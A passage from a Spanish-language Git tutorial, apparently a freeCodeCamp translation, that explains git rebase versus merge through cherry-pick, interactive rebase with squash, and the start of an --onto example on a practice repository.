inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git merge paul_branch</code>: a new Merge Commit with two parents</figcaption></figure><p>Mira otra vez al gráfico del historial: creaste un historial <strong><strong>divergente</strong></strong>. Puedes ver dónde se ramificó y dónde se fusionó nuevamente.</p><p>Así que cuando usas <code>git merge</code>, no puedes reescribir el historial - sino, que agregas una confirmación al historial existente. Y específicamente, una confirmación que crea un historial divergente.</p><h3 id="-c-mo-se-diferencia-git-rebase-de-git-merge"><strong>¿Cómo se diferencia <code>git rebase</code> de <code>git merge</code>?</strong></h3><p>Cuando se usa <code>git rebase</code>, algo distinto ocurre.</p><p>Comencemos con el panorama general: si estás en <code>paul_branch</code>, y usas <code>git rebase john_branch</code>, Git va al ancestro común de la rama de John y de Paul. Luego tomas los parches introducidos en las confirmaciones de la rama de Paul, y aplicar esos cambios a la rama de John.</p><p>Así que aquí, usas <code>rebase</code> para tomar los cambios que fueron confirmados en una rama - la rama de Paul - y reproducirlos en una rama distinta, <code>john_branch</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_rebase_john_branch.png" class="kg-image" alt="The result of running : the commits on  were &quot;replayed&quot; on top of " width="600" height="400" loading="lazy"><figcaption>The result of running `git rebase john_branch`: the commits on `paul_branch` were "replayed" on top of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">john_branch</code></figcaption></figure><p>Espera, ¿qué significa eso?</p><p>Ahora tomaremos esto poco a poco para asegurarnos que entiendes completamente lo que estás sucediendo por debajo 😎.</p><h3 id="cherry-pick-como-una-base-para-rebase"><strong><code>cherry-pick</code> como una base para Rebase</strong></h3><p>Es útil pensar de rebase como realizar <code>git cherry-pick</code> - un comando que toma una confirmación, calcula el parche que ésta confirmación introduce al calcular la diferencia entre la confirmación del predecesor y la confirmación misma, y luego cherry-pick "repite" esta diferencia.</p><p>Hagamos esto manualmente.</p><p>Si miramos la diferencia introducido por "Commit 5" al hacer <code>git diff main &lt;SHA_OF_COMMIT-5&gt;</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_commit_5.png" class="kg-image" alt="Running  to observe the patch introduced by &quot;Commit 5&quot;" width="600" height="400" loading="lazy"><figcaption>Running <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> to observe the patch introduced by "Commit 5"</figcaption></figure><p>Como siempre, se te anima en ejecutar los comandos tú mismo mientras lees este capítulo. A menos que se diga otra cosa, usaré el siguiente repositorio:</p><p><a href="https://github.com/Omerr/rebase_playground.git">https://github.com/Omerr/rebase_playground.git</a></p><p>Te recomiendo que lo clones de forma local y tener el mismo punto de inicio que estoy usando para este capítulo.</p><p>Puedes ver eso en esta confirmación, John comenzó trabajando en una canción llamada "Lucy in the Sky with Diamonds":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_commit_5_output.png" class="kg-image" alt="The output of  - the patch introduced by &quot;Commit 5&quot;" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> - the patch introduced by "Commit 5"</figcaption></figure><p>Como recordatorio, también puedes usar el comando <code>git show</code> para obtener la misma salida:</p><pre><code class="language-bash">git show &lt;SHA_OF_COMMIT_5&gt;
</code></pre><p>Ahora, si haces <code>cherry-pick</code> a esta confirmación, introducirás <em><em>este cambio</em></em> específicamente, en la rama activa. Cambia a <code>main</code> primero:</p><pre><code class="language-bash">git checkout main (or git switch main)
</code></pre><p>Y crea otra rama:</p><pre><code class="language-bash">git checkout -b my_branch (or git switch -c my_branch)
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_my_branch.png" class="kg-image" alt="Creating  that branches from " width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">my_branch</code> that branches from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Luego, haz <code>cherry-pick</code> a "Commit 5":</p><pre><code class="language-bash">git cherry-pick &lt;SHA_OF_COMMIT_5&gt;
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cherry_pick_commit_5.png" class="kg-image" alt="Using  to apply the changes introduced in &quot;Commit 5&quot; onto " width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">cherry-pick</code> to apply the changes introduced in "Commit 5" onto <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Considera el log (salida de <code>git lol</code>):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_lol_commit_5.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git lol</code></figcaption></figure><p>Parece que copiaste-pegaste el "Commit 5". Recuerda que inclusive tiene el mismo mensaje de confirmación, e introduce los mismos cambios, e inclusive apunta al mismo objeto de árbol como el "Commit 5" original en este caso - todavía es un objeto de confirmación distinto, como si fuese creado con una marca de tiempo distinto.</p><p>Mirando a los cambios, usando <code>git show HEAD</code></p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_show_HEAD-1.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git show HEAD</code></figcaption></figure><p>Son lo mismo como los "Commit 5".</p><p>Y por supuesto, si miras al archivo (digamos, usando <code>nano lucy_in_the_sky_with_diamonds.md</code>), estará en el mismo estado que estaba después del "Commit 5" original.</p><p>¡Genial! 😎</p><p>Ahora puedes quitar la nueva rama así no aparece en tu historial cada vez:</p><pre><code class="language-bash">git checkout main
git branch -D my_branch
</code></pre><h3 id="m-s-all-de-cherry-pick-c-mo-usar-git-rebase"><strong>Más allá de <code>cherry-pick</code> - Cómo usar <code>git rebase</code></strong></h3><p>Puedes ver a <code>git rebase</code> como una forma de realizar múltiples <code>cherry-pick</code> uno después del otro - eso es, "repetir" múltiples confirmaciones. Esto no es lo único que puedes hacer con rebase, pero es un buen punto de comienzo para nuestra explicación.</p><p>¡Es tiempo de jugar con <code>git rebase</code>!</p><p>Antes, hiciste fusión de <code>paul_branch</code> en <code>john_branch</code>. ¿Qué debería de pasar si hicieras <em><em>rebase</em></em> de <code>paul_branch</code> por encima de <code>john_branch</code>? Obtendrías un historial muy distinto.</p><p>En esencia, parecería como si tomáramos los cambios introducidos en las confirmaciones de <code>paul_branch</code>, y repitiéramos en <code>john_branch</code>. El resultado sería un historial linear.</p><p>Para entender el proceso, te proveeré la vista de alto nivel, y luego indagaré más profundo en cada paso. El proceso de hacer rebase en una rama por encima de otra rama es como lo siguiente:</p><ol><li>Encuentra el ancestro común.</li><li>Identifica las confirmaciones a ser "repetidos".</li><li>Para cada confirmación <code>X</code>, calcula <code>diff(parent(X), X)</code>, y lo almacena como un <code>patch(X)</code>.</li><li>Mueve a <code>HEAD</code> a la nueva base.</li><li>Aplica los parches generados en orden en la rama de destino. Cada vez, crea un nuevo objeto de confirmación con el nuevo estado.</li></ol><p>El proceso de hacer nuevas confirmaciones con el mismo conjunto de cambios que los existentes también se le llama "<strong><strong>repe</strong>t<strong>ir</strong></strong>" esas confirmaciones, un término que ya hemos usado.</p><h3 id="tiempo-de-practicar-con-rebase"><strong>Tiempo de practicar con Rebase</strong></h3><p>Antes de ejecutar el siguiente comando, asegúrate de tener a <code>john_branch</code> localmente, así que ejecuta:</p><pre><code class="language-bash">git checkout john_branch
</code></pre><p>Comienza desde la rama de Paul:</p><pre><code class="language-bash">git checkout paul_branch
</code></pre><p>Este es el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diverging_history_commit_9-1.png" class="kg-image" alt="Commit history before performing " width="600" height="400" loading="lazy"><figcaption>Commit history before performing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git rebase</code></figcaption></figure><p>Y ahora, la parte emocionante:</p><pre><code class="language-bash">git rebase john_branch
</code></pre><p>Y observa el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_rebase.png" class="kg-image" alt="The history after rebasing" width="600" height="400" loading="lazy"><figcaption>The history after rebasing</figcaption></figure><p>Con <code>git merge</code> agregaste al historial, mientras que con <code>git rebase</code> <strong><strong>reescribes el historial</strong></strong>. Creas <strong><strong>nuevos</strong></strong> objetos de confirmación. Además, el resultado es un gráfico de historial linear - en vez de un gráfico divergente.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_rebase_2.png" class="kg-image" alt="The history after rebasing" width="600" height="400" loading="lazy"><figcaption>The history after rebasing</figcaption></figure><p>En esencia, "copiaste" las confirmaciones que estaban en <code>paul_branch</code> y que fueron introducidos después de "Commit 4", y los "pegaste" por encima de <code>john_branch</code>.</p><p>El comando se llama "rebase", porque cambia la confirmación base de la rama de donde se ejecuta. Eso es, en tu caso, antes de ejecutar <code>git rebase</code>, la base de <code>paul_branch</code> era "Commit 4" - ya que aquí es donde la rama "nació" (desde <code>main</code>). Con <code>rebase</code>, le pediste a Git que le diera otra base - eso es, pretender que haya nacido desde "Commit 6".</p><p>Para hacer eso, Git tomó lo que solía ser "Commit 7", y "repitió" los cambios introducidos en esta confirmación en "Commit 6". Luego creó un nuevo objeto de confirmación. Este objeto difiere del "Commit 7" &nbsp;original en tres aspectos:</p><ol><li>Tiene una marca de tiempo distinto.</li><li>Tiene una confirmación antecesora distinta - "Commit 6", en vez de "Commit 4".</li><li>El objeto árbol al que está apuntado es distinto - como si los cambios fueran introducidos en el árbol apuntado por "Commit 6", y no el árbol apuntado por "Commit 4".</li></ol><p>Fíjate la última confirmación aquí, "Commit 9". &nbsp;La copia instantánea que representa (eso es, el árbol al que apunta) es exactamente el mismo árbol que obtendrías al hacer fusión de las dos ramas. El estado de los archivos en tu repositorio Git sería <strong><strong>el mismo</strong></strong> como si usaras <code>git merge</code>. Es solamente el <em><em>historial</em></em> que es diferente, y los objetos de confirmación por supuesto.</p><p>Ahora, puedes usar simplemente:</p><pre><code class="language-bash">git checkout main
git merge paul_branch
</code></pre><p>Hm..... ¿qué sucedería si ejecutas este último comando? Considera el historial de confirmación de nuevo, después de verificar a <code>main</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_checkout_main.png" class="kg-image" alt="The history after rebasing and checking out " width="600" height="400" loading="lazy"><figcaption>The history after rebasing and checking out <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>¿Qué significaría el hacer fusión de <code>main</code> y <code>paul_branch</code>?</p><p>En efecto, Git puede simplemente hacer una fusión directa, ya que el historial es completamente linear (si necesitas un recordatorio sobre fusiones directos, mira el capítulo previo). Como resultado, <code>main</code> y <code>paul_branch</code> ahora apunta a la misma confirmación:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/fast_forward_merge_result.png" class="kg-image" alt="The result of a fast-forward merge" width="600" height="400" loading="lazy"><figcaption>The result of a fast-forward merge</figcaption></figure><h3 id="rebase-avanzado-en-git"><strong>Rebase avanzado en Git</strong></h3><p>Ahora que entiendes lo básico de rebase, es tiempo de considerar casos más avanzados, donde conmutadores y argumentos adicionales al comando rebase serán útiles.</p><p>En el ejemplo previo, cuando solamente usaste <code>rebase</code> (sin conmutadores adicionales), Git repitió todas las confirmaciones desde el ancestro común a la punta de la rama actual.</p><p>Pero rebase es un super poder. Es un comando todopoderoso capaz de.. bueno, reescribir el historial. Y puede ser útil si quieres modificar el historial para hacer el tuyo propio.</p><p>Deshaz la última fusión haciendo que <code>main</code> apunte a "Commit 4" nuevamente:</p><pre><code class="language-bash">git reset --hard &lt;ORIGINAL_COMMIT 4&gt;
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_hard_1.png" class="kg-image" alt="&quot;Undoing&quot; the last merge operation" width="600" height="400" loading="lazy"><figcaption>"Undoing" the last merge operation</figcaption></figure><p>Y deshaz el rebasing usando:</p><pre><code class="language-bash">git checkout paul_branch
git reset --hard &lt;ORIGINAL_COMMIT 9&gt;
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_hard_2.png" class="kg-image" alt="&quot;Undoing&quot; the rebase operation" width="600" height="400" loading="lazy"><figcaption>"Undoing" the rebase operation</figcaption></figure><p>Fíjate que obtuviste exactamente el mismo historial que solías tener:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_undoing_rebase.png" class="kg-image" alt="Visualizing the history after &quot;undoing&quot; the rebase operation" width="600" height="400" loading="lazy"><figcaption>Visualizing the history after "undoing" the rebase operation</figcaption></figure><p>Para ser claro, "Commit 9" no sólo desaparece cuando no es alcanzable desde el <code>HEAD</code> actual. Al contrario, todavía es almacenado en la base de datos de objetos. Y como usaste <code>git reset</code> ahora para hacer que <code>HEAD</code> apunte a esta confirmación, fuiste capaz de recuperarlo, y también sus confirmaciones antecesoras ya que también están almacenados en la base de datos. Bastante genial, ¿hah? 😎</p><p>Aprenderás más sobre <code>git reset</code> en la próxima parte, donde discutimos sobre deshacer cambios en Git.</p><p>Mira los cambios que Paul introdujo:</p><pre><code class="language-bash">git show HEAD
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_show_HEAD_2.png" class="kg-image" alt=" shows the patch introduced by &quot;Commit 9&quot;" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git show HEAD</code> shows the patch introduced by "Commit 9"</figcaption></figure><p>Sigue yendo hacia atrás en el gráfico de confirmación:</p><pre><code class="language-bash">git show HEAD~
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_show_HEAD-.png" class="kg-image" alt=" (same as ) shows the patch introduced by &quot;Commit 8&quot;" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git show HEAD~</code> (same as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git show HEAD~1</code>) shows the patch introduced by "Commit 8"</figcaption></figure><p>Y una confirmación más allá:</p><pre><code class="language-bash">git show HEAD~2
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_show_HEAD-2.png" class="kg-image" alt=" shows the patch introduced by &quot;Commit 7&quot;" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git show HEAD~2</code> shows the patch introduced by "Commit 7"</figcaption></figure><p>Tal vez Paul no quiere este tipo de historial. Más bien, quiere que parezca como si se introdujera los cambios en "Commit 7" y "Commit 8" como una sola confirmación.</p><p>Para eso, puedes usar un <strong><strong>rebase interactivo</strong></strong>. Para hacer eso, agregamos el conmutador <code>-i</code> (o <code>--interactive</code>) al comando rebase:</p><pre><code class="language-bash">git rebase -i &lt;SHA_OF_COMMIT_4&gt;
</code></pre><p>O, ya que main está apuntando a "Commit 4" , podemos ejecutar:</p><pre><code class="language-bash">git rebase -i main
</code></pre><p>Ejecutando este comando, le dices a Git que use una nueva base, "Commit 4". Así que le pides a Git que vuelva atrás a todas las confirmaciones que fueron introducidos después de "Commit 4" y que son alcanzables &nbsp;desde el <code>HEAD</code> actual, y repita esas confirmaciones.</p><p>Para cada confirmación que es repetido, Git nos pregunta que nos gustaría hacer con él:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_1.png" class="kg-image" alt=" prompts you to select what to do with each commit" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git rebase -i main</code> prompts you to select what to do with each commit</figcaption></figure><p>En este contexto es útil imaginarse de una confirmación como un parche. Eso es, "Commit 7", como "el parche que "Commit 7" introdujo por encima de su antecesor".</p><p>Una opción es usar <code>pick</code>. Este es el comportamiento predeterminado, el cual le dice a Git que repita los cambios introducidos en esta confirmación. En este caso, si sólo lo dejas como está - y haces <code>pick</code> de todas las confirmaciones - obtendrás el mismo historial, y Git no creará nuevos objetos de confirmación.</p><p>Otra opción es <code>squash</code>. Una confirmación <em>aplastada</em> (del inglés "squashed") tendrá su contenido "doblado" (del inglés "folded") en los contenidos de la confirmación que le precede. Así que en nuestro caso, a Paul le gustaría aplastar "Commit 8" en "Commit 7":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_2.png" class="kg-image" alt="Squashing &quot;Commit 8&quot; into &quot;Commit 7&quot;" width="600" height="400" loading="lazy"><figcaption>Squashing "Commit 8" into "Commit 7"</figcaption></figure><p>Como puedes ver, <code>git rebase -i</code> provee opciones adicionales, pero no lo veremos en este capítulo. Si permites a rebase que se ejecute, se te mostrará una ventana para seleccionar un mensaje de confirmación para la nueva confirmación creada (eso es, el que introdujo los cambios de "Commit 7" y "Commit 8"):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_3.png" class="kg-image" alt="Providing the commit message: Commits 7+8" width="600" height="400" loading="lazy"><figcaption>Providing the commit message: Commits 7+8</figcaption></figure><p>Y mira el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_interactive_rebase.png" class="kg-image" alt="The history after the interactive rebase" width="600" height="400" loading="lazy"><figcaption>The history after the interactive rebase</figcaption></figure><p>¡Exactamente lo que queríamos! En <code>paul_branch</code>, tenemos "Commit 9" (por supuesto, es un objeto distinto que el "Commit 9" original). Este objeto apunta a "Commit 7+8", el cual es una confirmación única que introduce los cambios del "Commit 7" original y el "Commit 8" original. El antecesor de la confirmación es "Commit 4", a donde <code>main</code> está apuntando.</p><p>Oh wow, ¿no es genial? 😎</p><p><code>git rebase</code> te concede control sin límites sobre la figura de cualquier rama. Puedes usarlo para re-ordenar confirmaciones, o para quitar cambios incorrectos, o modificar un cambio en retrospectiva. Alternativamente, tal vez podrías mover la base de tu rama en otra confirmación, cualquier confirmación que desees.</p><h3 id="c-mo-usar-el-conmutador-onto-de-git-rebase"><strong>Cómo usar el conmutador <code>--onto</code> de <code>git rebase</code></strong></h3><p>Consideremos un ejemplo más. Vuelve a <code>main</code> nuevamente:</p><pre><code class="language-bash">git checkout main
</code></pre><p>Y elimina los punteros de paul_branch y john_branch así ya no los ves en el gráfico de la confirmación:</p><pre><code class="language-bash">git branch -D paul_branch
git branch -D john_branch
</code></pre><p>Luego, haz una nueva rama desde <code>main</code>:</p><pre><code class="language-bash">git checkout -b new_branch
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_new_branch.png" class="kg-image" alt="Creating  that diverges from " width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_branch</code> that diverges from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Este es el historial limpio que deberías tener:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_new_branch.png" class="kg-image" alt="A clean history with  that diverges from " width="600" height="400" loading="lazy"><figcaption>A clean history with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_branch</code> that diverges from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Ahora, cambia el archivo <code>code.py</code> (por ejemplo, agrega una nueva función) y confirma tus cambios:</p><pre><code class="language-bash">nano code.py
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_1.png" class="kg-image" alt="Adding the function  to " width="600" height="400" loading="lazy"><figcaption>Adding the function <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_branch</code> to <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">code.py</code></figcaption></figure><pre><code class="language-bash">git add code.py
git commit -m "Commit 10"
</code></pre><p>Vuelve a <code>main</code>:</p><pre><code class="language-bash">git checkout main
</code></pre><p>E introduce otro cambio - agregando una cadena de documentos al principio del archivo:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_2.png" class="kg-image" alt="Added a docstring at the beginning of the file" width="600" height="400" loading="lazy"><figcaption>Added a docstring at the beginning of the file</figcaption></figure><p>Es tiempo de poner en el área de preparación y confirmar estos cambios:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 11"
</code></pre><p>Y aún otro cambio, tal vez agrega <code>@Author</code> a la cadena de documentos:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_3.png" class="kg-image" alt="Added  to the docstring" width="600" height="400" loading="lazy"><figcaption>Added <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">@Author</code> to the docstring</figcaption></figure><p>Confirma este cambio también:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 12"
